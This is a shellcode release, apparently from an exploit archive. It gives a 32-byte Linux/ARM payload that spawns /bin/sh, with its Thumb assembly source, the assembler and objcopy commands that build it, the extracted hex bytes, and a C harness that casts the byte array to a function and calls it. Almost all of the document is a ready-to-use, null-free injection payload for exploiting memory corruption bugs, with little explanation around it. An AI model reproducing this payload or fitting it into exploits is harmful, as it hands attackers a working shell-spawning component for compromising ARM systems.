32 bytes small Linux/ARM execve("/bin/sh", ["/bin/sh"], NULL) shellcode.
bcac05f65d3e93f7f75cd126357c62cb/*
Title: Linux/ARM - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (32 Bytes)
Date: 2018-08-16
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
.THUMB
// execve("/bin/sh", ["/bin/sh"], NULL)
adr r0, spawn
eor r2, r2, r2
strb r2, [r0, #7]
push {r0, r2}
mov r1, sp
mov r7, #11
svc #1
// adjust address
eor r7, r7, r7
spawn:
.ascii "/bin/shA"
pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x7f\x40\x2f\x62\x69\x6e\x2f\x73\x68\x41
*/
#include<stdio.h>
#include<string.h>
unsigned char sc[] = \
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
"\x03\xa0\x52\x40\xc2\x71\x05\xb4"
"\x69\x46\x0b\x27\x01\xdf\x7f\x40"
"\x2f\x62\x69\x6e\x2f\x73\x68\x41";
void main()
{
printf("Shellcode Length: %d\n", strlen(sc));
int (*ret)() = (int(*)())sc;
ret();
}